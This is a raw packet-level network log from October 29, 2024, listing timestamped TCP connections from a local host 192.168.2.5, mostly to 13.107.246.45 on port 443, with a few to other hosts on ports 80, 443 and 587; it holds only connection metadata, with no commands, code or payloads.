Oct 29, 2024 13:08:24.211456060 CET	443	49758	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:24.211477995 CET	443	49759	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:24.211919069 CET	49758	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:24.211976051 CET	443	49758	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:24.212091923 CET	49757	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:24.212100983 CET	443	49757	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:24.212430000 CET	49758	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:24.212443113 CET	443	49758	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:24.212671995 CET	49759	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:24.212678909 CET	443	49759	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:24.213053942 CET	49757	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:24.213059902 CET	443	49757	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:24.213285923 CET	49759	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:24.213289976 CET	443	49759	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:24.213363886 CET	443	49760	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:24.213778019 CET	49760	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:24.213871956 CET	443	49760	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:24.214350939 CET	49760	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:24.214366913 CET	443	49760	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:24.341542959 CET	443	49759	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:24.341661930 CET	443	49759	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:24.341742992 CET	49759	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:24.341933966 CET	49759	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:24.341933966 CET	49759	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:24.341947079 CET	443	49759	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:24.341953993 CET	443	49759	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:24.343653917 CET	443	49758	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:24.343815088 CET	443	49758	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:24.343897104 CET	49758	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:24.343995094 CET	49758	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:24.343995094 CET	49758	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:24.344041109 CET	443	49758	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:24.344068050 CET	443	49758	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:24.344819069 CET	443	49757	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:24.344882011 CET	443	49757	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:24.344965935 CET	49757	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:24.345155954 CET	49757	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:24.345155954 CET	49757	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:24.345161915 CET	443	49757	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:24.345169067 CET	443	49757	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:24.345240116 CET	49762	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:24.345292091 CET	443	49762	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:24.345360041 CET	49762	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:24.345901012 CET	49762	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:24.345938921 CET	443	49762	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:24.346499920 CET	49763	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:24.346609116 CET	443	49763	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:24.346689939 CET	49763	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:24.346808910 CET	49763	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:24.346828938 CET	443	49763	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:24.347150087 CET	49764	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:24.347183943 CET	443	49764	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:24.347240925 CET	49764	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:24.347372055 CET	49764	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:24.347382069 CET	443	49764	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:24.351078987 CET	443	49760	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:24.351294994 CET	443	49760	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:24.351396084 CET	49760	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:24.351434946 CET	49760	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:24.351460934 CET	443	49760	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:24.351485968 CET	49760	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:24.351499081 CET	443	49760	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:24.353610992 CET	49765	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:24.353671074 CET	443	49765	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:24.353740931 CET	49765	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:24.353840113 CET	49765	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:24.353861094 CET	443	49765	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:24.454225063 CET	443	49761	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:24.454617023 CET	49761	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:24.454648018 CET	443	49761	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:24.455034971 CET	49761	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:24.455041885 CET	443	49761	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:24.586028099 CET	443	49761	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:24.586246967 CET	443	49761	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:24.586335897 CET	49761	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:24.586566925 CET	49761	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:24.586594105 CET	443	49761	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:24.586608887 CET	49761	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:24.586616993 CET	443	49761	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:24.589451075 CET	49766	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:24.589498997 CET	443	49766	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:24.589608908 CET	49766	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:24.589867115 CET	49766	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:24.589879036 CET	443	49766	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:24.994469881 CET	49716	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:24.994746923 CET	49767	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:25.001816034 CET	80	49716	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:25.001961946 CET	80	49767	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:25.002044916 CET	49767	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:25.002243042 CET	49767	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:25.007632971 CET	80	49767	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:25.297694921 CET	443	49762	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:25.298603058 CET	443	49764	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:25.298731089 CET	49762	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:25.298787117 CET	443	49762	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:25.298962116 CET	49764	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:25.298995018 CET	443	49764	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:25.299211025 CET	443	49765	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:25.299283981 CET	49762	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:25.299298048 CET	443	49762	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:25.299460888 CET	49764	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:25.299465895 CET	443	49764	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:25.299563885 CET	49765	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:25.299622059 CET	443	49765	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:25.299901962 CET	49765	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:25.299913883 CET	443	49765	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:25.301902056 CET	443	49763	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:25.302220106 CET	49763	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:25.302295923 CET	443	49763	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:25.302557945 CET	49763	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:25.302572966 CET	443	49763	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:25.421420097 CET	443	49766	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:25.421982050 CET	49766	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:25.422008038 CET	443	49766	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:25.422396898 CET	49766	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:25.422401905 CET	443	49766	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:25.428345919 CET	443	49762	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:25.428427935 CET	443	49762	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:25.428611994 CET	49762	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:25.428673983 CET	49762	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:25.428673983 CET	49762	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:25.428711891 CET	443	49762	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:25.428735018 CET	443	49762	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:25.430253983 CET	443	49765	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:25.430315971 CET	443	49764	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:25.430322886 CET	443	49765	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:25.430392027 CET	443	49764	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:25.430398941 CET	49765	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:25.430438042 CET	49764	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:25.430525064 CET	49765	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:25.430545092 CET	443	49765	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:25.430558920 CET	49765	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:25.430566072 CET	443	49765	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:25.430614948 CET	49764	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:25.430624008 CET	443	49764	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:25.430634975 CET	49764	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:25.430640936 CET	443	49764	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:25.431896925 CET	49768	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:25.431936026 CET	443	49768	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:25.432888031 CET	49768	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:25.433069944 CET	49769	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:25.433099985 CET	443	49769	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:25.433162928 CET	49769	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:25.433213949 CET	49768	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:25.433229923 CET	443	49768	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:25.433293104 CET	49769	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:25.433305025 CET	443	49769	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:25.433368921 CET	49770	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:25.433378935 CET	443	49770	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:25.433433056 CET	49770	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:25.433562040 CET	49770	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:25.433574915 CET	443	49770	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:25.434026957 CET	443	49763	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:25.434191942 CET	443	49763	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:25.434253931 CET	49763	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:25.434334993 CET	49763	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:25.434334993 CET	49763	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:25.434377909 CET	443	49763	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:25.434406042 CET	443	49763	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:25.436228037 CET	49771	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:25.436237097 CET	443	49771	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:25.436312914 CET	49771	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:25.436444998 CET	49771	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:25.436455011 CET	443	49771	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:25.551305056 CET	443	49766	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:25.551378012 CET	443	49766	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:25.551438093 CET	49766	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:25.552072048 CET	49766	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:25.552088976 CET	443	49766	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:25.552100897 CET	49766	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:25.552107096 CET	443	49766	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:25.560542107 CET	49772	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:25.560580015 CET	443	49772	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:25.560652018 CET	49772	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:25.561471939 CET	49772	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:25.561486006 CET	443	49772	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:25.699901104 CET	80	49767	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:25.699976921 CET	49767	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:25.721769094 CET	49773	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:25.721807003 CET	443	49773	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:25.721859932 CET	49773	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:25.723228931 CET	49773	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:25.723237038 CET	443	49773	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:26.157280922 CET	443	49769	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:26.171001911 CET	443	49768	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:26.176801920 CET	443	49770	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:26.178531885 CET	49769	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:26.178560972 CET	443	49769	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:26.179143906 CET	49769	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:26.179150105 CET	443	49769	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:26.180310011 CET	49768	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:26.180330992 CET	443	49768	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:26.180936098 CET	49768	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:26.180941105 CET	443	49768	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:26.181158066 CET	49770	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:26.181170940 CET	443	49770	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:26.181696892 CET	49770	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:26.181701899 CET	443	49770	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:26.202342987 CET	443	49771	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:26.202831984 CET	49771	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:26.202842951 CET	443	49771	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:26.203236103 CET	49771	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:26.203242064 CET	443	49771	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:26.303575993 CET	443	49769	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:26.303720951 CET	443	49772	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:26.303997040 CET	443	49769	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:26.304059029 CET	49769	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:26.304116011 CET	49769	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:26.304131985 CET	443	49769	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:26.304152012 CET	49769	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:26.304153919 CET	49772	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:26.304158926 CET	443	49769	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:26.304179907 CET	443	49772	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:26.304627895 CET	49772	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:26.304632902 CET	443	49772	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:26.306802988 CET	49774	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:26.306842089 CET	443	49774	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:26.306927919 CET	49774	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:26.307095051 CET	49774	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:26.307106018 CET	443	49774	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:26.308238029 CET	443	49768	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:26.308515072 CET	443	49768	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:26.308573961 CET	49768	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:26.308614016 CET	49768	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:26.308614016 CET	49768	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:26.308636904 CET	443	49768	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:26.308654070 CET	443	49768	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:26.310492992 CET	49775	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:26.310523033 CET	443	49775	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:26.310586929 CET	49775	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:26.310672045 CET	49775	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:26.310682058 CET	443	49775	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:26.310983896 CET	443	49770	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:26.311117887 CET	443	49770	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:26.311171055 CET	49770	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:26.311171055 CET	49770	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:26.311188936 CET	49770	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:26.311193943 CET	443	49770	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:26.312899113 CET	49776	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:26.312926054 CET	443	49776	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:26.313011885 CET	49776	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:26.313116074 CET	49776	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:26.313127041 CET	443	49776	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:26.339711905 CET	443	49771	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:26.339782000 CET	443	49771	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:26.339844942 CET	49771	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:26.339971066 CET	49771	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:26.339979887 CET	443	49771	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:26.340029955 CET	49771	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:26.340042114 CET	443	49771	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:26.341850996 CET	49777	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:26.341882944 CET	443	49777	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:26.341953039 CET	49777	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:26.342066050 CET	49777	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:26.342076063 CET	443	49777	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:26.350615025 CET	49778	587	192.168.2.5	212.44.112.138
Oct 29, 2024 13:08:26.356084108 CET	587	49778	212.44.112.138	192.168.2.5
Oct 29, 2024 13:08:26.356180906 CET	49778	587	192.168.2.5	212.44.112.138
Oct 29, 2024 13:08:26.437027931 CET	443	49772	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:26.437094927 CET	443	49772	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:26.437208891 CET	49772	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:26.437391996 CET	49772	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:26.437414885 CET	443	49772	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:26.437474012 CET	49772	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:26.437479973 CET	443	49772	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:26.440012932 CET	49779	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:26.440052032 CET	443	49779	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:26.440145969 CET	49779	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:26.440289021 CET	49779	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:26.440310001 CET	443	49779	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:26.445216894 CET	443	49773	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:26.445327044 CET	49773	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:26.445791960 CET	49773	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:26.445801020 CET	443	49773	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:26.446041107 CET	49773	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:26.446044922 CET	443	49773	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:26.628084898 CET	443	49773	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:26.628226995 CET	443	49773	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:26.628318071 CET	49773	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:26.628448963 CET	49773	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:26.628463984 CET	443	49773	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:26.628479004 CET	49773	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:26.628557920 CET	49773	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:27.036555052 CET	443	49774	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:27.039589882 CET	49774	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:27.039654970 CET	443	49774	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:27.040177107 CET	49774	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:27.040193081 CET	443	49774	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:27.056380987 CET	443	49776	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:27.059398890 CET	443	49775	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:27.059411049 CET	49776	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:27.059427023 CET	443	49776	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:27.059786081 CET	49776	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:27.059791088 CET	443	49776	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:27.059828043 CET	49775	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:27.059845924 CET	443	49775	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:27.060127020 CET	49775	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:27.060131073 CET	443	49775	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:27.151643038 CET	443	49777	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:27.152138948 CET	49777	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:27.152163982 CET	443	49777	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:27.152589083 CET	49777	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:27.152595997 CET	443	49777	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:27.165795088 CET	443	49774	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:27.165931940 CET	443	49774	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:27.166090012 CET	49774	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:27.166166067 CET	49774	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:27.166166067 CET	49774	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:27.166204929 CET	443	49774	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:27.166228056 CET	443	49774	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:27.169004917 CET	49780	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:27.169037104 CET	443	49780	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:27.169147015 CET	49780	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:27.169287920 CET	49780	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:27.169295073 CET	443	49780	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:27.173528910 CET	443	49779	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:27.175637960 CET	49779	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:27.175662994 CET	443	49779	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:27.176057100 CET	49779	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:27.176063061 CET	443	49779	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:27.189809084 CET	443	49776	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:27.189883947 CET	443	49776	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:27.189982891 CET	49776	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:27.190149069 CET	49776	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:27.190180063 CET	443	49776	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:27.190207005 CET	49776	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:27.190222979 CET	443	49776	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:27.191920996 CET	443	49775	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:27.192105055 CET	443	49775	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:27.192264080 CET	49775	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:27.193284988 CET	49775	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:27.193284988 CET	49775	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:27.193298101 CET	443	49775	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:27.193305016 CET	443	49775	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:27.197098017 CET	49781	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:27.197177887 CET	443	49781	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:27.197272062 CET	49781	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:27.197397947 CET	49781	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:27.197416067 CET	443	49781	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:27.197607994 CET	49782	443	192.168.2.5	13.107.246.45
